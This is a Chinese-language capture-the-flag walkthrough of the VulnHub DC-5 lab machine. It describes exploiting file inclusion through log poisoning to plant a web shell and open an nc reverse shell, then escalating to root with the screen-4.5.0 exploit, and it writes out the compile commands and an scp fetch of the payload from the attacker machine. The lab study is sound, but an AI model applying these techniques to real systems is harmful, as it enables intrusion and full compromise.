VulnHub::DC-5

实验环境

DC-5_1

提示改靶机只有一个入口点,并只存在一个flag

渗透过程

0x01 信息搜集

由于不知道靶机IP地址,进行D段扫描,获得靶机IP地址:

masscan 192.168.1.0/24 --ping --rate 1000

DC-5_2

访问后发现136主机为靶机DC-5,进行端口扫描:

DC-5_3

使用nmap进行详细扫描:

DC-5_4

进行目录扫描,得到结果:

DC-5_5

0x02 解题

访问扫描得到的网址,查看内容:

DC-5_6

发现本页面每次访问结果不相同:

DC-5_7

该页面为页脚,最终在thankyou页面中找到,猜测此页面存在文件包含漏洞:

DC-5_8

访问敏感目录,发现漏洞:

DC-5_9

尝试使用日志包含,传入一句话木马:

DC-5_10

使用蚁剑进行连接,这里传入一句话不能存在分号,有分号时无法访问日志文件。

DC-5_11

使用nc反弹shell,服务器监听4444端口:

DC-5_12

反弹shell:

DC-5_13

使用python构建交互式shell:

python -c "import pty;pty.spawn('/bin/bash');"

DC-5_14

查看当前用户可使用的root命令:

www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfs

发现可使用screen命令,查找该命令是否存在可用漏洞:

DC-5_15

获得漏洞利用代码,运行时报错,由于这个shell可能是在win下编写的,所以换行格式与Linux不同,运行后无法解析,使用命令dos2unix ./41154.sh 把文件转成unix下可执行文件就可以正常运行。

将poc中上面的一部分c语言代码另存为libhax.c 编译 libhax.c 文件:

kali@kali:~# gcc -fPIC -shared -ldl -o libhax.so libhax.c 

将 rootshell.c 复制出来编译:

kali@kali:~# gcc -o rootshell rootshell.c 

在靶机端尝试通过scp下载脚本(或者使用ftp、wget):

scp kali@192.168.1.80:/home/kali/libhax.so /tmp/

运行代码,得到flag:

DC-5_16

原文地址:https://www.cnblogs.com/chalan630/p/13643078.html